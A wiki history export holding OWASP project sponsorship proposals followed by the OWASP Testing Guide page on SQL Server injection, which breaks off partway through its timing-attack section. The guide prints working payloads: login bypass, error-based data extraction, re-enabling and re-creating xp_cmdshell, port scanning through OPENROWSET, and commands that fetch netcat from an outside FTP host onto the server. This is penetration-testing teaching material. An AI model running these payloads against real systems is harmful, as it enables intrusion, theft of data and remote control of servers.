OWASP Tiger project is at its very beginning. Some new features are needed in order for it to become more useful. Here’s a short list:&lt;br /&gt;
===User Needs===&lt;br /&gt;
*Easier editing of test projects&lt;br /&gt;
*Support for testing sites that require authentication&lt;br /&gt;
*Support for testing sites that require use of cookies&lt;br /&gt;
*An easy way of specifying vulnerability data, ideally an automated one&lt;br /&gt;
*More flexible reporting&lt;br /&gt;
*More project templates&lt;br /&gt;
*More documentation&lt;br /&gt;
===Development Objectives===&lt;br /&gt;
*Add support for cookies&lt;br /&gt;
*Add support for standard authentication schemes&lt;br /&gt;
*Add support for importing vulnerability data from a test definition (or a vulnerability library)&lt;br /&gt;
*Make use of OWASP Report Generator for more advanced reports&lt;br /&gt;
*Create a setup program that would install both client and project templates and also allow for adding new templates after the initial installation&lt;br /&gt;
*Write documentation and articles about it&lt;br /&gt;
*Make the development process open to the public and, hopefully, driven by its feedback from day one&lt;br /&gt;
===Why should I be sponsored for this project===&lt;br /&gt;
Well, probably because of my past work on AoC (I just hope that won’t be the reason for me ''not'' to be sponsored :)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Heiko - Web Application Security put into practice==&lt;br /&gt;
I'm trying to make the OWASP Top Ten and Guide project known in the programming community, but I understand that clear examples in the specific programming language and best practices with explanation educate the best. I'm at the chair for secure software at my university and I want to contribute practical examples, because I believe not to teach secure programming is a great oversight in today's education. Not only the programmers in large companies have to be aware of security impacts, but also their future employees and their freelance programmers. I'm with a large organization of freelance programmers, which I want to make aware of security flaws.&lt;br /&gt;
&lt;br /&gt;
The Ruby on Rails Security project [http://www.rorsecurity.info/] started this year and is the only security initiative for Ruby on Rails. Ruby is the fastest growing level A programming language, according to the Tiobe programming community index [http://www.tiobe.com/tpci.htm], partly because of its advertised simplicity. This is dangerous, as programmers could be enticed to do cargo cult programming [http://en.wikipedia.org/wiki/Cargo_cult_programming] without knowing the security impacts. I found several security holes in popular modules, and even the Rails framework itself generates potentially insecure code. Nevertheless, Rails provides good means against many of the OWASP Top Ten security flaws, but I believe these means have to be popularized much more.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Objectives and Deliverables===&lt;br /&gt;
* Create a security guide to the most popular web server software, Apache&lt;br /&gt;
** Installation&lt;br /&gt;
** secure configuration, emphasis on Rails, but not limited to it&lt;br /&gt;
** file system privileges for Rails and Apache&lt;br /&gt;
** anti profiling techniques for Apache&lt;br /&gt;
** Modules and Mod_security configuration&lt;br /&gt;
&lt;br /&gt;
* Create a security guide to the popular database software, MySQL, as practical contribution to the OWASP Top 10 Insecure storage section&lt;br /&gt;
** Installation&lt;br /&gt;
** secure configuration, emphasis on Rails, but not limited to it&lt;br /&gt;
** file system privileges for Rails and MySQL&lt;br /&gt;
** MySQL access restriction techniques&lt;br /&gt;
** encryption methods&lt;br /&gt;
&lt;br /&gt;
* Ruby on Rails security guide and code examples, with at least the following topics:&lt;br /&gt;
** Anti profiling techniques&lt;br /&gt;
** Rails routes security&lt;br /&gt;
** error handling and presentation, as in OWASP Top 10 Improper Error Handling&lt;br /&gt;
** OWASP Top 10: XSS in Rails&lt;br /&gt;
** OWASP Top 10: SQL injection in Rails&lt;br /&gt;
** OWASP Top 10: Parameter injection in Rails&lt;br /&gt;
** OWASP Top 10: Session handling in Rails&lt;br /&gt;
** OWASP Top 10: Access control in Rails&lt;br /&gt;
** handling of files&lt;br /&gt;
** integrity&lt;br /&gt;
** encryption and SSL&lt;br /&gt;
** logging flaws&lt;br /&gt;
** Ajax security&lt;br /&gt;
&lt;br /&gt;
* Code &amp;amp; other&lt;br /&gt;
** means to check the security of MySQL&lt;br /&gt;
** input validation guide, and implement it in Ruby&lt;br /&gt;
** update the poorly documented guide at http://manuals.rubyonrails.com/read/chapter/40 which is the only official guide to security&lt;br /&gt;
** usage guide for OWASP tools, also in connection with Rails&lt;br /&gt;
** make the results known in the several communities I'm in&lt;br /&gt;
** if applicable: submit code to Rails for security holes found&lt;br /&gt;
&lt;br /&gt;
===Why I should be sponsored for the project===&lt;br /&gt;
I have been programming professionally for 10 years and created several software products, including Internet applications, and I always focused on security. I am currently graduating university, my thesis is about web application security. Recently, I started the Ruby on Rails security project, which is the only security project for Rails. I have always delivered my work on time, and I believe I have the knowledge to deliver good quality.&lt;br /&gt;
&lt;br /&gt;
===Long-term vision for the project===&lt;br /&gt;
Make it available to the community and accept security notices and best practices from other users to constantly improve it.&lt;br /&gt;
&lt;br /&gt;
===Benefits to the OWASP===&lt;br /&gt;
* practical guides on how to put security into practice: the most popular web server software Apache and the popular database software MySQL&lt;br /&gt;
* if applicable: additional examples and chapters for the OWASP Guide&lt;br /&gt;
* the first and only fully-fledged security guide to a programming language and framework which is used by many large companies&lt;br /&gt;
* security awareness of future employees and freelancers&lt;br /&gt;
* more exposure of the OWASP&lt;br /&gt;
&lt;br /&gt;
==Denis – Python Tainted Mode==&lt;br /&gt;
I am graduate student of Moscow State University, department of Computational Mathematics and Cybernetics.&lt;br /&gt;
My graduate work is dedicated to web-application security. The goal of my graduate work is to combine dynamic code analysis with penetration testing to provide more precise analysis.&lt;br /&gt;
This work will help to find security vulnerabilities in web-applications.&lt;br /&gt;
I successfully presented parts of my work at university conferences.&lt;br /&gt;
&lt;br /&gt;
===My Project===&lt;br /&gt;
The goal of my project is to create analog of Perl’s Taint Mode for Python programming language.&lt;br /&gt;
Taint mode is successfully used in Perl, PHP, and Ruby to find input validation vulnerabilities in web-applications (see for ex. PHPRevent[http://dependability.cs.virginia.edu/info/PHPrevent]).&lt;br /&gt;
Unfortunately there is no implementation of Taint Mode for Python language despite of wide spread of Python-based web-applications. Taint Mode for Python is highly claimed.&lt;br /&gt;
I plan to modify Python interpreter and add Taint label propagation. Then I’ll add three configuration lists:&lt;br /&gt;
* List of sources. All data emanating from sources must be marked tainted.&lt;br /&gt;
* List of critical functions, that shouldn’t receive tainted data.&lt;br /&gt;
* List of sanitizing functions that untaints data.&lt;br /&gt;
These three lists are dependent on technology that is used between web-server and web-applications in web server. In my project I plan to build such lists for mod_python and then broaden for other technologies. With switched on taint mode web-application will receive exceptions when critical function receives tainted data.&lt;br /&gt;
&lt;br /&gt;
===Why should I be selected===&lt;br /&gt;
I have strong mathematical &amp;amp; computer science background. I’m familiar with research publications on dynamic analysis and with implementation of taint mode in Perl and PHP (PHPrevent Project).&lt;br /&gt;
This project is part of my work at university. It will be made under mentoring of my scientific advisor.&lt;br /&gt;
This work is already practically done that’s why I’m sure I will finish my project in time.&lt;br /&gt;
I have strong skills in developing projects with Python, Java, C, C++, and Assembler. Then I plan to support, develop and enhance my project and increase its quality with penetration testing.&lt;br /&gt;
&lt;br /&gt;
If you have any questions or would like further information, feel free to contact me.&lt;br /&gt;
&lt;br /&gt;
Yours faithfully,&lt;br /&gt;
Denis&lt;br /&gt;
&lt;br /&gt;
== Darren Edmonds - WebScarab NG Security Test Automation ==&lt;br /&gt;
&lt;br /&gt;
=== Background ===&lt;br /&gt;
I am a 28 year old software developer from the UK with a background in java based web development and application security testing.  I have strong mathematical skills, a degree in software engineering, a SCJP qualification and 8 years of commercial development experience.  I have created many web based and standalone applications delivering on time and adhering to common software practices.&lt;br /&gt;
I'm an avid supporter of open source software and try to use it whenever possible in a commercial environment.  I've made contributions to the Geotools mapping project, written a securing tomcat article for OWASP and developed a full modification for the first person shooter Quake 3.&lt;br /&gt;
&lt;br /&gt;
=== Project Details ===&lt;br /&gt;
Having used numerous penetration testing applications I believe there is a need for an open source application which supports some, or all, of the features of the more expensive commercial products.  I propose to make WebScarab generate, record, and playback security test cases so that regression testing is possible.  If time permits I would also like to include some extra automated tests that are not always feasible during manual testing; searching for backup files (~, Copy of X), checking non-authorised access to authorised areas, common and brute force name directory searching, etc.  Perhaps include the ability to read the test database of other scanning tools such as nikto.&lt;br /&gt;
I have already made contact with Rogan Dawes, original WebScarab NG author, to discuss some initial ideas.  I believe it is important that Rogan is consulted during the initial planning phase to make sure the project keeps to a set of consistent guidelines.&lt;br /&gt;
&lt;br /&gt;
=== Milestones ===&lt;br /&gt;
* Research regression testing features in other applications&lt;br /&gt;
* Create a functional specification&lt;br /&gt;
* Build testing framework (possible inclusion of scripting language for user defined tests)&lt;br /&gt;
* Testing&lt;br /&gt;
&lt;br /&gt;
=== Why I Should be Sponsored ===&lt;br /&gt;
I believe I am an ideal candidate to develop the proposed additions to WebScarab NG, not just because of my qualifications and experience, but because I plan to use WebScarab NG in my work to help perform the initial testing of web applications.  As well as my own time my current employer will allocate me a set amount of time to ensure the project achieves its milestones.&lt;br /&gt;
The end result will make WebScarab NG a much more powerful testing tool and will be a great asset to the OWASP community.  With continued development and input from the community I see no reason why WebScarab NG cannot rival commercial testing application features, usability, and business benefit.  Increasing WebScarab's features will result in increased community awareness bringing in extra developers, ensuring continual development and so the cycle starts again.&lt;br /&gt;
&lt;br /&gt;
== Bernardo - sqlmap ==&lt;br /&gt;
&lt;br /&gt;
* '''Executive Summary'''&lt;br /&gt;
[http://sqlmap.sourceforge.net sqlmap] is an automatic blind SQL injection tool, developed in python, capable to perform an active database fingerprint, to enumerate entire remote database and much more. The aim of this project is to implement a fully functional database mapper tool which takes advantages of web application programming security flaws which lead to SQL injection vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
* '''Objectives and Deliverables'''&lt;br /&gt;
** Add support for Oracle database;&lt;br /&gt;
** Add support to extract database users password hash and implement an automatic password bruteforcer;&lt;br /&gt;
** Extend inband SQL injection (--union-use command line parameter) functionality to all other possible queries;&lt;br /&gt;
** Add Microsoft SQL Server database fingerprint;&lt;br /&gt;
** Add a fuzzer class with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting;&lt;br /&gt;
** Add support for SQL injection on HTTP 'Cookie' and 'User-Agent' headers;&lt;br /&gt;
** Add support for query ETA (Estimated Time of Arrival) real time calculation;&lt;br /&gt;
** Improve Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions;&lt;br /&gt;
** Improve logging functionality.&lt;br /&gt;
&lt;br /&gt;
* '''Long-term vision for the project'''&lt;br /&gt;
Make sqlmap available as an easy-to-use enumeration and penetration testing tool to the OWASP community extending its functionality to exploit SQL injection vulnerabilities to provide a remote shell on the affected web application database server when possible.&lt;br /&gt;
In the long run I would also like to develop a graphical user interface.&lt;br /&gt;
&lt;br /&gt;
* '''Why I should be sponsored for the project'''&lt;br /&gt;
I have good python programming skills and some years of experience in computer networks security. I spent most of the last year researching on web application insecurity taking over the [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap/ sqlmap development] since December 2006. Actually I work as software developer at an information security company in Italy where I mostly deal with vulnerability assessment.&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=15478</id>
		<title>Testing for SQL Server</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=15478"/>
				<updated>2007-01-17T14:28:58Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In this paragraph we describe some [http://www.owasp.org/index.php/SQL_Injection_AoC SQL Injection] techniques that utilize specific features of Microsoft SQL Server.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
SQL injection vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers and execute of SQL code under the privileges of the user used to connect to the database.&lt;br /&gt;
&lt;br /&gt;
As explained in [[SQL injection]] a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:&lt;br /&gt;
&lt;br /&gt;
* Application parameters in query strings (e.g., GET requests)&lt;br /&gt;
* Application parameters included as part of the body of a POST request&lt;br /&gt;
* Browser-related information (e.g., user-agent, referer)&lt;br /&gt;
* Host-related information (e.g., host name, IP)&lt;br /&gt;
* Session-related information (e.g., user ID, cookies) &lt;br /&gt;
&lt;br /&gt;
Microsoft SQL server has a few particularities so that some exploits need to be specially customized for this application that the penetration tester has to know in order to exploit them along the tests. &lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
===SQL Server Peculiarities===&lt;br /&gt;
&lt;br /&gt;
To begin, let's see some SQL Server operators and commands/stored procedures that are useful in a SQL Injection test:&lt;br /&gt;
&lt;br /&gt;
* comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query, this won't be necessary in every case)&lt;br /&gt;
* query separator: ; (semicolon)&lt;br /&gt;
* Useful stored procedures include:&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms175046.aspx xp_cmdshell]] executes any command shell in the server with the same permissions that it is currently running. By default, only '''sysadmin''' is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again using sp_configure)&lt;br /&gt;
** '''xp_regread''' reads an arbitrary value from the Registry (undocumented extended procedure)&lt;br /&gt;
** '''xp_regwrite''' writes an arbitrary value into the Registry (undocumented extended procedure)&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms180099.aspx sp_makewebtask]] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires '''sysadmin''' privileges.&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-US/library/ms189505.aspx xp_sendmail]] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Let's see now some examples of specific SQL Server attacks that use the aformentioned functions. Most of these examples will use the '''exec''' function.&lt;br /&gt;
&lt;br /&gt;
Below we show how to execute a shell command that writes the output of the command ''dir c:\inetpub'' in a browseable file, assuming that the web server and the DB server reside on the same host. The following syntax uses xp_cmdshell:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 exec master.dbo.xp_cmdshell 'dir c:\inetpub &amp;gt; c:\inetpub\wwwroot\test.txt'--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, we can use sp_makewebtask:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
A successful execution will create a file that it can be browsed by the pen tester. Keep in mind that sp_makewebtask is deprecated and, even if it works to all SQL Server versions up to 2005, might be removed in the future.&lt;br /&gt;
&lt;br /&gt;
Also SQL Server built-in functions and environment variables are very handy: The following uses the function '''db_name()''' to trigger an error that will return the name of the database:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20db_name()) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notice the use of [[http://msdn.microsoft.com/library/en-us/tsqlref/ts_ca-co_2f3o.asp convert]]:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CONVERT ( data_type [ ( length ) ] , expression [ , style ] )&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
CONVERT will try to convert the result of db_name (a string) into an integer variable, triggering an error that, if displayed by the vulnerable application, will contain the name of the DB.&lt;br /&gt;
&lt;br /&gt;
The following example uses the environment variable '''@@version ''', combined with a &amp;quot;union select&amp;quot;-style injection, in order to find the version of the SQL Server.&lt;br /&gt;
&amp;lt;pre&amp;gt;/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
And here's the same attack, but using again the conversion trick:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of a SQL-injection attack or direct access to the SQL listener. &lt;br /&gt;
&lt;br /&gt;
There follow several examples that exploit SQL injection vulnerabilities through different entry points.&lt;br /&gt;
&lt;br /&gt;
===Example 1: Testing for SQL Injection in a GET request. ===&lt;br /&gt;
&lt;br /&gt;
The most simple (and sometimes rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string &amp;quot;' or '1'='1&amp;quot; (without double quotes): &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&amp;amp;Password='%20or%20'1'='1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application. &lt;br /&gt;
&lt;br /&gt;
===Example 2: Testing for SQL Injection in a GET request (2).===&lt;br /&gt;
&lt;br /&gt;
In order to learn how many columns there exist &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Example 3: Testing in a POST request ===&lt;br /&gt;
&lt;br /&gt;
SQL Injection, HTTP POST Content: email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
A complete post example:&lt;br /&gt;
&lt;br /&gt;
 POST &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/forgotpass.asp HTTP/1.1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Host: vulnerable.web.app&lt;br /&gt;
 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13&lt;br /&gt;
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
 Accept-Language: en-us,en;q=0.5&lt;br /&gt;
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
 Keep-Alive: 300&lt;br /&gt;
 Proxy-Connection: keep-alive&lt;br /&gt;
 Referer: &amp;lt;nowiki&amp;gt;http://vulnerable.web.app/forgotpass.asp&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
 Content-Length: 50&amp;lt;br&amp;gt;&lt;br /&gt;
 email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
The error message obtained when a ' (single quote) character is entered at the email field is:&lt;br /&gt;
&lt;br /&gt;
 Microsoft OLE DB Provider for SQL Server error '80040e14'&lt;br /&gt;
 Unclosed quotation mark before the character string '' '.&lt;br /&gt;
 /forgotpass.asp, line 15 &lt;br /&gt;
&lt;br /&gt;
===Example 4: Yet another (useful) GET example===&lt;br /&gt;
&lt;br /&gt;
Obtaining the application's source code&lt;br /&gt;
&lt;br /&gt;
 a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--&lt;br /&gt;
&lt;br /&gt;
===Example 5: custom xp_cmdshell===&lt;br /&gt;
&lt;br /&gt;
All books and papers describing the security best practices for SQL Server recommend to disable xp_cmdshell in SQL Server 2000 (in SQL Server 2005 it is disabled by default). However, if we have sysadmin rights (natively or by bruteforcing the sysadmin password, see below), we can often bypass this limitation.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On SQL Server 2000:&lt;br /&gt;
* If xp_cmdshell has been disabled with sp_dropextendedproc, we can simply inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* If the previous code does not work, it means that the xp_log70.dll has been moved or deleted. In this case we need to inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS&lt;br /&gt;
  DECLARE @result int, @OLEResult int, @RunResult int&lt;br /&gt;
  DECLARE @ShellID int&lt;br /&gt;
  EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)&lt;br /&gt;
  EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)&lt;br /&gt;
  EXECUTE @OLEResult = sp_OADestroy @ShellID&lt;br /&gt;
  return @result&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This code, written by Antonin Foller (see links at the bottom of the page), creates a new xp_cmdshell using sp_oacreate, sp_method and sp_destroy (as long as they haven't been disabled too, of course). Before using it, we need to delete the first xp_cmdshell we created (even if it was not working), otherwise the two declarations will collide.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On SQL Server 2005, xp_cmdshell can be enabled injecting the following code instead:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
master..sp_configure 'show advanced options',1&lt;br /&gt;
reconfigure&lt;br /&gt;
master..sp_configure 'xp_cmdshell',1&lt;br /&gt;
reconfigure&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 6: Referer / User-Agent===&lt;br /&gt;
&lt;br /&gt;
The REFERER header set to:&lt;br /&gt;
&lt;br /&gt;
 Referer: &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:&lt;br /&gt;
&lt;br /&gt;
 User-Agent: user_agent', 'some_ip'); [SQL CODE]--&lt;br /&gt;
&lt;br /&gt;
===Example 7: SQL Server as a port scanner===&lt;br /&gt;
&lt;br /&gt;
In SQL Server, one of the most useful (at least for the penetration tester) commands is OPENROWSET, which is used to run a query on another DB Server and retrieve the results. The penetration tester can use this command to scan ports of other machines in the target network, injecting the following query:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will attempt a connection to the address x.y.w.z on port p. If the port is closed, the following message will be returned:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SQL Server does not exist or access denied&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On the other hand, if the port is open, one of the following errors will be returned:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
General network error. Check your network documentation&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Of course, the error message is not always available. If that is the case, we can use the response time to understand what is going on: with a closed port, the timeout (5 seconds in this example) will be consumed, whereas an open port will return the result right away. &lt;br /&gt;
&lt;br /&gt;
Keep in mind that OPENROWSET is enabled by default in SQL Server 2000 but disabled in SQL Server 2005.&lt;br /&gt;
&lt;br /&gt;
===Example 8: Upload of executables===&lt;br /&gt;
&lt;br /&gt;
Once we can use xp_cmdshell (either the native one or a custom one), we can easily upload executables on the target DB Server. A very common choice is netcat.exe, but any trojan will be useful here.&lt;br /&gt;
If the target is allowed to start FTP connections to the tester's machine, all that is needed is to inject the following queries:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
exec master..xp_cmdshell 'echo open ftp.tester.org &amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo USER &amp;gt;&amp;gt; ftpscript.txt';-- &lt;br /&gt;
exec master..xp_cmdshell 'echo PASS &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo bin &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo get nc.exe &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo quit &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
At this point, nc.exe will be uploaded and available.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
If FTP is not allowed by the firewall, we have a workaround that exploits the Windows debugger, debug.exe, that is installed by default in all Windows machines. Debug.exe is scriptable and is able to create an executable by executing an appropriate script file. What we need to do is to convert the executable into a debug script (which is a 100% ascii file), upload it line by line and finally call debug.exe on it. There are several tools that create such debug files (e.g.: makescr.exe by Ollie Whitehouse and dbgtool.exe by toolcrypt.org). The queries to inject will therefore be the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #1 of n] &amp;gt; debugscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #2 of n] &amp;gt;&amp;gt; debugscript.txt';--&lt;br /&gt;
....&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #n of n] &amp;gt;&amp;gt; debugscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'debug.exe &amp;lt; debugscript.txt';--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
At this point, our executable is available on the target machine, ready to be executed.&lt;br /&gt;
&lt;br /&gt;
There are tools that automate this process, most notably Bobcat, which runs on Windows, and Sqlninja, which runs on *nix (See the tools at the bottom of this page).&lt;br /&gt;
&lt;br /&gt;
===Obtain information when it is not displayed (Out of band)===&lt;br /&gt;
&lt;br /&gt;
Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [[http://www.owasp.org/index.php/Blind_SQL_Injection|Blind SQL injection]]). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL-injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Other options for out of band attacks are describe in Sample 4 above. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Blind SQL injection attacks===&lt;br /&gt;
&lt;br /&gt;
====Trial and error====&lt;br /&gt;
Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL-injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors ([[http://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors]]) against this channel and watch the response. For example, if the web application is looking for a book using a query&lt;br /&gt;
&lt;br /&gt;
   select * from books where title='''text entered by the user'''&lt;br /&gt;
&lt;br /&gt;
then the penetration tester might enter the text: ''''Bomba' OR 1=1-''' and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL-injection vulnerability. The penetration tester might later ''play'' with the queries in order to assess the criticality of this vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====In case more than one error message is displayed====&lt;br /&gt;
On the other hand, if no prior information is available there is still a possibility of attacking by exploiting any ''covert channel''. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example: &lt;br /&gt;
&lt;br /&gt;
* On some cases the web application (actually the web server) might return the traditional ''500: Internal Server Error'', say when the application returns an exception that might be generated for instance by a query with unclosed quotes. &lt;br /&gt;
* While on other cases the server will return a 200OK message, but the web application will return some error message inserted by the developers ''Internal server error'' or ''bad data''. &lt;br /&gt;
&lt;br /&gt;
This 1 bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit.&lt;br /&gt;
&lt;br /&gt;
Another out-of-band method is to output the results through HTTP browseable &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Timing attacks====&lt;br /&gt;
There is one more possibility for making a blind SQL-injection attack, for example, using the time that it takes the web application to answer a request (see, e.g., ''Bleichenbacher's attack''). An attack of this sort is described by Anley in ([2]) from where we take the next example. A first approach uses the ''SQL command waitfor delay '0:0:5','' for example assume that data is not properly validated through a given attack vector but there is no feedback. Let's say that the attacker wants to check if the ''books'' database exists he will send the command&lt;br /&gt;
